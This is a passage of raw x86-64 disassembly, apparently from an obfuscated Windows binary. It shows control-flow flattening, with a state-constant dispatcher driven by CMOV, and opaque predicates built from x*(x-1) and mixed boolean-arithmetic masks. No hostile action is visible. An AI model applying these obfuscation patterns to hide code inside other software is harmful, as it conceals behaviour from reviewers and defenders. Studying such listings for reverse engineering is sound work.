and dl, r10b
xor al, r10b
xor r10b, 1
and bl, r10b
or dl, bl
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x61c0bca9
mov ebp, 0xb6aa5196
cmovne ecx, ebp
test dl, dl
cmove ecx, ebp
test al, 1
mov eax, 0x61c0bca9
jmp 0x1400cc8d4
cmp ecx, 0xd22477a2
jg 0x1400c05d2
cmp ecx, 0xd10f0aec
jg 0x1400c29b9
cmp ecx, 0xcef5a53e
je 0x1400c6f32
cmp ecx, 0xd094081a
jne 0x1400bd720
mov ecx, 0x77d3711e
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x72aab2ca
jg 0x1400c061e
cmp ecx, 0x7123c003
jg 0x1400c2acb
cmp ecx, 0x70b5b772
je 0x1400c6f48
cmp ecx, 0x70ea4fa7
jne 0x1400bd720
mov eax, dword [0x140265728]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x6ef6c705
and eax, ecx
not ecx
mov ebp, ecx
and ebp, 0xc420301
and edx, 0x62b4c404
or edx, ebp
xor edx, 0x62b4c404
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, eax
not edx
and edx, 0x910938fb
and eax, 0x6ef6c704
or eax, edx
mov edx, eax
not edx
and edx, 0x5adda802
and eax, 0xa52257fd
or eax, edx
xor eax, 0xa52257fd
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x966e0e4b
and eax, 0x6991f1b4
or eax, ecx
xor eax, 0x6991f1b4
sete bl
setne cl
cmp dword [0x140265724], 0xa
setl r8b
xor cl, r8b
xor cl, 1
mov edx, r8d
or dl, bl
xor dl, 1
or dl, cl
mov r9d, edx
xor r9b, 1
mov eax, ebx
xor al, r8b
and bl, al
and al, r8b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, r9d
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xa55b1386
mov ebp, 0xb38dd390
cmovne eax, ebp
test cl, 1
cmove eax, ebp
test dl, 1
mov ecx, 0xa55b1386
jmp 0x1400ca6e6
cmp ecx, 0xb38dd38f
jg 0x1400c0658
cmp ecx, 0xb216925e
jg 0x1400c2c7f
cmp ecx, 0xb14be921
je 0x1400c6f5e
cmp ecx, 0xb1889f5f
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x695217a7
and edx, ebp
not ebp
and ebp, 0x8cdf66e5
and ecx, 0x7320991a
or ecx, ebp
mov ebp, ecx
xor ebp, 0x1000102
xor ecx, 0x85206a5
or ecx, 0x96ade858
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x7ce9dea9
and ebp, 0x1120106
or ebp, edi
or ecx, ebx
and ebx, 0x7ce9dea9
and edx, 0x83162156
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xbe3f8c97
and ecx, 0x41c07368
or ecx, edx
mov edx, ecx
xor edx, 0x289264cf
xor ecx, 0xd76d9b30
mov ebp, edx
and ebp, 0xfffffffe
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x9ce45059
and ebp, 0x631bafa6
or ebp, edi
or edx, ebx
and ebx, 0x9ce45059
and ecx, 0x631bafa6
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
sete dl
setne cl
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
mov r9d, eax
xor r9b, cl
or r9b, bl
mov r8d, r9d
xor r8b, 1
xor al, dl
not al
and al, dl
xor cl, r10b
not cl
and cl, r10b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
or cl, r8b
and r8b, r9b
and bl, dl
xor r8b, 1
mov eax, r8d
xor al, r9b
or r8b, r9b
xor r8b, 1
or r8b, al
xor bl, 1
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
xor bl, r8b
xor dl, r9b
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x35beb37b
mov edx, 0x95f9a7fc
cmovne eax, edx
test cl, 1
mov ecx, 0x35beb37b
jmp 0x1400cc8ce
cmp ecx, 0xf8728435
jg 0x1400c0786
cmp ecx, 0xf74feefb
jg 0x1400c2de5
cmp ecx, 0xf615178b
je 0x1400c6f74
cmp ecx, 0xf741ffed
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov esi, dword [0x140265724]
lea edi, [rcx - 1]
imul edi, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0x8020004
mov ebp, edi
and ebp, 0x21b05d73
or ebp, ecx
xor ebp, 0x21b05d73
mov ebx, edi
and ebx, 0xd64da288
or ebx, ebp
mov ebp, ebx
not ebp
and ebp, 0x8e1925e1
and ebx, 0x71e6da1e
or ebx, ebp
mov ecx, ebx
xor ecx, 0x58548768
xor ebx, 0xa7ab7897
and edx, ebx
and ecx, edi
or ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete r8b
setne al
cmp esi, 0xa
setl cl
cmp esi, 9
setg dl
and al, dl
mov ebx, ecx
and bl, r8b
or bl, al
xor dl, bl
and dl, bl
xor cl, r8b
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
mov eax, edx
xor al, cl
and al, dl
and cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x87f63b06
mov ebp, 0xee310893
cmovne ecx, ebp
test al, al
mov eax, 0x87f63b06
jmp 0x1400c0af4
cmp ecx, 0x53ae62f2
jg 0x1400c0852
cmp ecx, 0x502e0ed1
jg 0x1400c2ed1
cmp ecx, 0x4f84e66e
je 0x1400c70c8
cmp ecx, 0x50255f52
jne 0x1400bd720
mov eax, dword [0x140265728]
mov edx, dword [0x140265724]
lea ecx, [rax - 1]
imul ecx, eax
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0xfffffffe
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
mov edi, ebx
and edi, eax
xor eax, ebx
or eax, edi
mov ebx, eax
not ebx
and ebp, 0x90b6e6cc
and ecx, 0x6f491933
or ecx, ebp
mov ebp, ecx
xor ebp, 0x6480922
xor ecx, 0x90b6e6cc
mov edi, eax
and edi, 0xf9153055
and ebx, 0x6eacfaa
or ebx, edi
or eax, ecx
and ecx, 0xf9153055
and ebp, 0x6eacfaa
or ebp, ecx
xor ebp, ebx
not eax
or eax, ebp
cmp eax, 0xffffffff
sete al
setne r8b
cmp edx, 0xa
setl r10b
cmp edx, 9
setg r9b
mov edx, r8d
xor dl, al
and dl, r8b
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
mov r11d, ebx
xor r11b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r11b
or bl, dl
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
mov ecx, r8d
and cl, r10b
or r10b, bl
xor bl, 1
or bl, r9b
xor bl, 1
xor r10b, 1
mov edx, ebx
and dl, r10b
xor r10b, bl
or r10b, dl
and al, r9b
or al, cl
mov ecx, r9d
xor cl, r8b
or r9b, r8b
xor r9b, 1
or r9b, cl
mov ecx, r9d
xor cl, al
xor al, 1
xor cl, 1
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, r10d
xor dl, al
and dl, r10b
and al, r10b
xor r10b, 1
and r10b, cl
or al, r10b
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xd2a556d8
mov ebx, 0xa731565d
cmovne ebp, ebx
test al, 1
mov ecx, ebp
cmovne ecx, ebx
jmp 0x1400c861b
cmp ecx, 0x3341535a
jg 0x1400c0a0b
cmp ecx, 0x302033ff
jg 0x1400c3086
cmp ecx, 0x2e23b315
je 0x1400c725b
cmp ecx, 0x30157334
jne 0x1400bd720
mov ecx, 0xb27c74e9
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x8a6caa1f
jg 0x1400c0afe
cmp ecx, 0x898723d7
jg 0x1400c30b4
cmp ecx, 0x88c9abe2
je 0x1400c7283
cmp ecx, 0x891aa317
jne 0x1400bd720
mov ecx, 0x5b0b86f6
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0xca0805a8
jg 0x1400c0c39
cmp ecx, 0xc7ff0646
jg 0x1400c3183
cmp ecx, 0xc7c072a7
je 0x1400c73ff
cmp ecx, 0xc7ece753
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea esi, [rcx - 1]
imul esi, ecx
mov edx, esi
not edx
mov ecx, esi
or ecx, 0xcf85db23
mov ebp, ecx
not ebp
mov edi, edx
or edi, 0x307a24dc
mov ebx, edi
not ebx
and ecx, 0xaca3307b
and ebp, 0x10580484
or ebp, ecx
and edi, 0xaca3307b
and ebx, 0x4304cb00
or ebx, edi
xor ebx, ebp
mov ecx, ebx
not ecx
and ecx, 0x6a015d40
and ebx, 0x95fea2bf
or ebx, ecx
mov ebp, ebx
xor ebp, 0x1008022
xor ebx, 0x40590915
and ebx, 0xe4dd0f55
and ebp, 0x1b22f0aa
or ebp, ebx
mov ecx, ebp
xor ecx, 0xb20900a
and edx, 0xda01cb2c
and esi, 0x25fe34d3
or esi, edx
mov edx, esi
xor edx, 0x25a81402
xor ebp, 0xe4dd0f55
xor esi, 0xda01cb2c
mov ebx, ebp
and ebx, 0x505662f5
and ecx, 0xafa99d0a
or ecx, ebx
or ebp, esi
and esi, 0x505662f5
and edx, 0xafa99d0a
or edx, esi
xor edx, ecx
not ebp
or ebp, edx
cmp ebp, 0xffffffff
setne r8b
sete r9b
cmp eax, 9
setg r10b
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, r10b
and cl, al
mov r11d, r9d
xor r11b, r8b
and r11b, r9b
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov esi, ebx
xor sil, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, sil
xor dl, 1
or bl, cl
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov edx, r11d
xor dl, 1
or dl, r11b
xor dl, 1
mov ecx, r11d
and cl, dl
xor dl, r11b
or dl, cl
xor dl, bl
and r9b, r10b
and al, r8b
or al, r9b
mov ecx, r10d
xor cl, r8b
or r10b, r8b
xor r10b, 1
or r10b, cl
xor al, 1
mov ecx, eax
xor cl, r10b
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
xor dl, 1
and al, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x72aab2cb
mov edx, 0x7cd83767
cmovne eax, edx
test cl, 1
mov ecx, eax
cmovne ecx, edx
jmp 0x1400cc8d1
cmp ecx, 0x6f932ccd
jg 0x1400c0d77
cmp ecx, 0x6e75f047
jg 0x1400c3339
cmp ecx, 0x6c7b4fce
je 0x1400c75e4
cmp ecx, 0x6c93dcfa
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xf521bde3
and ebx, 0xade421c
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xade421c
and ebx, 0xf521bde3
or ebx, ecx
mov edi, ebx
not edi
mov ecx, ebx
or ecx, 0xe3a9dd24
mov ebp, ecx
not ebp
mov edx, ebx
xor edx, 0x1c5622db
and edx, ebx
mov esi, edx
not esi
mov eax, ecx
and eax, 0xda683614
and ebp, 0x41600cb
or ebp, eax
or ecx, esi
and esi, 0xda683614
and edx, 0x2597c9eb
or edx, esi
xor edx, ebp
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xe6304d34
and ecx, 0x19cfb2cb
or ecx, eax
mov ebp, ecx
xor ebp, 0x919001
and ebx, 0xcb52d1d4
mov eax, edi
and eax, 0x34ad2e2b
or eax, ebx
xor eax, 0xcb52d1d5
and edi, 1
or edi, eax
mov eax, edi
not eax
xor ecx, 0xfa666fee
mov edx, ecx
and edx, 0xf74844d8
and ebp, 0x8b7bb27
or ebp, edx
or ecx, edi
and edi, 0xf74844d8
and eax, 0x8b7bb27
or eax, edi
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x2200291
and ecx, 0x71882108
or ecx, edx
mov ebp, ecx
xor ebp, 0x61882000
xor ecx, 0x8c45d095
or eax, 0x73a82399
mov edx, eax
not edx
and ecx, 0x9c45d19d
and ebp, 0x63a82200
or ebp, ecx
and eax, 0x9c45d19d
and edx, 0x120c62
or edx, eax
xor edx, ebp
mov eax, edx
not eax
and eax, 0x11961a00
and edx, 0xee69e5ff
or edx, eax
mov eax, edx
xor eax, 0x98c04660
xor edx, 0x402c1808
and eax, 0xbad267f1
and edx, 0x452d980e
or edx, eax
mov eax, edx
xor eax, 0xb2926650
xor edx, 0x44048004
and edx, 0x4c4481a5
and eax, 0xb3bb7e5a
or eax, edx
xor eax, 0xb3bb7e5a
setne r9b
sete cl
cmp r8d, 9
setg bl
cmp r8d, 0xa
setl r8b
mov eax, ecx
xor al, r8b
mov edx, eax
and dl, cl
and al, r8b
mov r10d, edx
and r10b, al
xor al, dl
or al, r10b
and r8b, r9b
and cl, bl
or cl, r8b
mov edx, ebx
xor dl, r9b
or bl, r9b
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
xor al, 1
mov edx, eax
and dl, cl
xor al, cl
or dl, al
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x6e75f048
cmovne ebp, r15d
test dl, 1
mov ecx, 0x6e75f048
jmp 0x1400c73f7
cmp ecx, 0xae331c36
jg 0x1400c0e62
cmp ecx, 0xac0d45ec
jg 0x1400c34f0
cmp ecx, 0xab534aeb
je 0x1400c75fa
cmp ecx, 0xabfb9a29
jne 0x1400bd720
mov ecx, 0xc7ff0647
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0xed754913
jg 0x1400c0fa1
cmp ecx, 0xebfcaab0
jg 0x1400c36c4
cmp ecx, 0xe5ffea6c
je 0x1400c7610
cmp ecx, 0xe9acad53
jne 0x1400bd720
mov ecx, 0x4d4e6b9b
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x213a98a6
jg 0x1400c1110
cmp ecx, 0x1e3e54e9
jg 0x1400c37ce
cmp ecx, 0x1d003c8a
je 0x1400c7626
cmp ecx, 0x1d51cc91
jne 0x1400bd720
mov ecx, 0x28637271
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0xb0abb96
jle 0x1400c13b9
cmp ecx, 0xb0abb97
je 0x1400c7740
cmp ecx, 0xd989ed1
je 0x1400c783d
cmp ecx, 0xe2cc13a
jne 0x1400bd720
mov ecx, 0x3341535b
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x5b0b86f5
jg 0x1400c38b1
cmp ecx, 0x5a2a9fc9
je 0x1400c7a22
cmp ecx, 0x5a95e08e
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xa2b16660
mov ebp, ecx
and ebp, 0x1008903
or ebp, edx
xor ebp, 0x1008903
and ecx, 0x5c4e109c
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xa1ca4a4
and ecx, 0xf5e35b5b
or ecx, edx
mov edx, ecx
xor edx, 0x5652b438
xor ecx, 0x21094007
and ecx, 0x2509701f
mov ebp, edx
and ebp, 0xdaf68fe0
or ebp, ecx
mov ecx, ebp
xor ecx, 0xdaf68fe0
mov ebx, ecx
and ebx, 0x8908f399
and edx, 0x76f70c66
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x76f70c67
and edx, 0x8908f398
or edx, ebx
and ecx, 1
xor ebp, 0xdaf68fe1
or ebp, ecx
mov ecx, ebp
not ecx
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0xee138cdc
and edx, 0x11ec7323
or edx, edi
or ebx, ebp
and ebp, 0xee138cdc
and ecx, 0x11ec7323
or ecx, ebp
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
xor ecx, 0xb4459920
and ecx, ebx
or ebx, 0x4bba66df
mov edx, ebx
not edx
mov ebp, ecx
not ebp
mov edi, ebx
and edi, 0xd4a14c76
and edx, 0x20449100
or edx, edi
or ebx, ebp
and ebp, 0xd4a14c76
and ecx, 0x2b5eb389
or ecx, ebp
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x8ecc7080
and ebx, 0x71338f7f
or ebx, ecx
xor ebx, 0xc576165f
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, edx
and al, cl
xor dl, cl
or dl, al
xor dl, bl
and bl, dl
mov eax, edx
xor al, bl
test dl, dl
mov ecx, 0x190eded8
mov edx, 0x7000452a
cmovne ecx, edx
test bl, bl
cmove ecx, edx
not al
test al, 1
mov eax, 0x190eded8
jmp 0x1400cc4e4
cmp ecx, 0x40222739
jg 0x1400c38df
cmp ecx, 0x3f1cfda9
je 0x1400c7b56
cmp ecx, 0x3f6521dd
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov ebx, ecx
and ebx, 0x1fe13ff4
mov edx, ecx
xor edx, 0xe01ec00b
and edx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xe01ec00a
and edx, 0x1fe13ff5
or edx, ebx
and ebp, 0xa5c3a9eb
mov ebx, ecx
and ebx, 0x5a3c5614
or ebx, ebp
xor ebx, 0xa5c3a9ea
and ecx, 1
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x9dd59e54
and ecx, 0x622a61ab
or ecx, ebp
xor ecx, 0x622a61ab
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x135a58a0
and edx, ecx
and ecx, 0xeca5a75f
or ecx, ebp
xor ecx, 0xeca5a75f
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0x652d941c
and edx, 0x9ad26be3
or edx, ecx
xor edx, 0x9ad26be3
sete r8b
setne r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, eax
xor dl, r9b
mov ecx, eax
xor cl, r8b
and cl, al
and bl, r9b
and al, r8b
or al, bl
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
xor al, dl
and dl, al
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x5b0b86f6
mov eax, 0x8a6caa20
cmovne ecx, eax
test dl, dl
cmove ecx, eax
not bl
test bl, 1
mov eax, 0x5b0b86f6
jmp 0x1400cc4e4
cmp ecx, 0x99caf160
jg 0x1400c3a28
cmp ecx, 0x981cbbcc
je 0x1400c7c59
cmp ecx, 0x9908c653
jne 0x1400bd720
mov ecx, 0x7f9b5a62
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0xdafbdcf6
jg 0x1400c3bb2
cmp ecx, 0xd59ecb78
je 0x1400c7c6f
cmp ecx, 0xd6e81e86
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edi, ebx
not edi
mov ecx, ebx
or ecx, 1
mov ebp, ecx
not ebp
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov esi, edx
not esi
mov eax, ecx
and eax, 0x7d985896
and ebp, 0x8267a768
or ebp, eax
or ecx, esi
and esi, 0x7d985896
and edx, 0x8267a769
or edx, esi
xor edx, ebp
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x6037589
and ecx, 0xf9fc8a76
or ecx, eax
mov eax, ecx
xor eax, 0x409c0064
and edi, 0xbfafa6e9
and ebx, 0x40505916
or ebx, edi
mov edx, ebx
xor edx, 0x40105104
xor ecx, 0x6037589
xor ebx, 0xbfafa6e9
mov ebp, ecx
and ebp, 0xbd628a9b
and eax, 0x429d7564
or eax, ebp
or ecx, ebx
and ebx, 0xbd628a9b
and edx, 0x429d7564
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xeab1d767
and ecx, 0x154e2898
or ecx, eax
xor ecx, 0x154e2898
sete cl
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
xor r9b, bl
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, r9b
xor dl, 1
and al, cl
or bl, cl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
xor bl, dl
mov eax, ebx
not al
and al, dl
mov edx, ebx
xor dl, al
test bl, bl
mov ecx, 0x5a95e08e
mov ebp, 0xd22477a3
cmovne ecx, ebp
test al, al
mov eax, 0x5a95e08e
cmove ecx, eax
test dl, 1
jmp 0x1400cbfca
cmp ecx, 0x7b49079e
jg 0x1400c3be0
cmp ecx, 0x7a835840
je 0x1400c7e46
cmp ecx, 0x7ab4b259
jne 0x1400bd720
mov ecx, 0xa57bc2ae
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0xb7e65c97
jg 0x1400c3d3a
cmp ecx, 0xb6aa5196
je 0x1400c7f37
cmp ecx, 0xb737e56c
jne 0x1400bd720
mov ecx, 0x722dcff3
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0xfe614511
jg 0x1400c3ed8
cmp ecx, 0xfa6aa304
je 0x1400c8098
cmp ecx, 0xfcd91459
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x2c480110
mov ebp, ecx
and ebp, 0x11a19249
or ebp, edx
xor ebp, 0x11a19249
and ecx, 0xc2166ca6
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xc2166ca6
and ecx, 0x3de99359
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x88145201
and ecx, 0x2c00404
or ecx, edx
mov ebx, ecx
xor ebx, 0x400
xor ecx, 0x200a9830
or ebp, 0x8ad45605
mov edx, ebp
not edx
and ecx, 0x22ca9834
and ebx, 0x88144601
or ebx, ecx
and ebp, 0x22ca9834
and edx, 0x552121ca
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x752ba9fa
and edx, 0x8ad45605
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x91444128
and edx, 0x6ebbbed7
or edx, ecx
mov ecx, edx
xor ecx, 0x6800b285
xor edx, 0x91444120
and edx, 0x97ff4d72
and ecx, 0x6800b28d
or ecx, edx
xor ecx, 0x97ff4d72
cmp ecx, 0xffffffff
setne r8b
sete cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl r9b
mov edx, ecx
xor dl, r9b
mov eax, edx
and al, cl
and dl, r9b
mov r10d, eax
and r10b, dl
xor dl, al
or dl, r10b
and r9b, r8b
and cl, bl
or cl, r9b
mov eax, ebx
xor al, r8b
or bl, r8b
xor bl, 1
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov ebx, ecx
not bl
mov eax, edx
xor al, 1
and bl, al
or al, cl
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xc4a144e5
mov ebp, 0x4ecde62
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0xc4a144e5
jmp 0x1400c9a1d
cmp ecx, 0x4e6afce4
jg 0x1400c3f06
cmp ecx, 0x4ae4ee26
je 0x1400c80ae
cmp ecx, 0x4d4e6b9b
jne 0x1400bd720
mov ecx, dword [0x140265728]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x124090
mov ebp, eax
and ebp, 0x42410323
or ebp, edx
xor ebp, 0x42410323
mov edx, eax
and edx, 0xbdacbc4c
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x8415986d
and edx, 0x7bea6792
or edx, ebp
mov ebp, edx
xor ebp, 0x8190400
xor edx, 0xc440c151
and edx, 0xf5e0e171
and ebp, 0xa1f1e8e
or ebp, edx
xor ebp, 0xa1f1e8e
and ecx, 0x2c410f34
and eax, 0xd3bef0cb
or eax, ecx
xor eax, 0xd3bef0cb
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
cmp eax, 0xffffffff
sete cl
setne al
cmp dword [0x140265724], 9
setg bl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov r8d, eax
xor r8b, 1
mov edx, ebx
xor dl, cl
not dl
and dl, cl
or bl, cl
xor dl, 1
mov ecx, edx
xor cl, bl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and dl, al
or al, cl
and cl, r8b
or cl, dl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0xe9acad53
mov ebp, 0xc87dd9c8
cmovne ecx, ebp
test al, 1
mov eax, 0xe9acad53
jmp 0x1400c8618
cmp ecx, 0x2c8f9f10
jg 0x1400c4095
cmp ecx, 0x2a29e316
je 0x1400c820e
cmp ecx, 0x2bad74e9
jne 0x1400bd720
mov ecx, 0xb448be8b
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x87f63b05
jg 0x1400c419c
cmp ecx, 0x864e63db
je 0x1400c8372
cmp ecx, 0x869c9e00
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0xfffffffe
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
and ebp, 0xad4fe6fe
and ecx, 0x52b01901
or ecx, ebp
mov ebp, ecx
xor ebp, 0x40001900
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0x93baa661
and edx, 0x6c45599e
or edx, edi
xor ecx, 0x810aa660
and ecx, 0x93baa661
and ebp, 0x6c45599e
or ebp, ecx
xor ebp, edx
xor ebx, ebp
test ebx, ebp
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
xor bl, 1
or bl, al
xor bl, 1
xor cl, al
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xe872a7e
mov ebp, 0x737de5c6
cmovne edx, ebp
test cl, 1
mov ecx, 0xe872a7e
jmp 0x1400cbe5f
cmp ecx, 0xc4e7c121
jg 0x1400c4370
cmp ecx, 0xc4a144e5
je 0x1400c8388
cmp ecx, 0xc4acaa7f
jne 0x1400bd720
mov edx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x42a28610
mov edx, ebp
and edx, 0x80d1163
or edx, ebx
mov ebx, edx
xor ebx, 0x50161
xor edx, 0xf7f2ee9c
mov ecx, ebp
xor ecx, 0x4aaf9773
and ecx, ebp
mov esi, ecx
not esi
mov eax, edx
and eax, 0xcf083c92
and ebx, 0xa78361
or ebx, eax
or edx, esi
and esi, 0xcf083c92
and ecx, 0x30f7c36d
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xc9dd80af
and edx, 0x36227f50
or edx, eax
xor edx, 0x837217dd
and edi, 0x3ee9f541
and ebp, 0xc1160abe
or ebp, edi
xor ebp, 0xc1160abe
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
cmp ebp, 0xffffffff
sete r9b
setne cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
and bl, cl
and r9b, dl
or r9b, bl
mov ebx, edx
and bl, cl
xor dl, cl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
not cl
mov eax, r9d
xor al, 1
and cl, al
or al, dl
and dl, r9b
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x53dc87cc
mov ecx, 0x89986fae
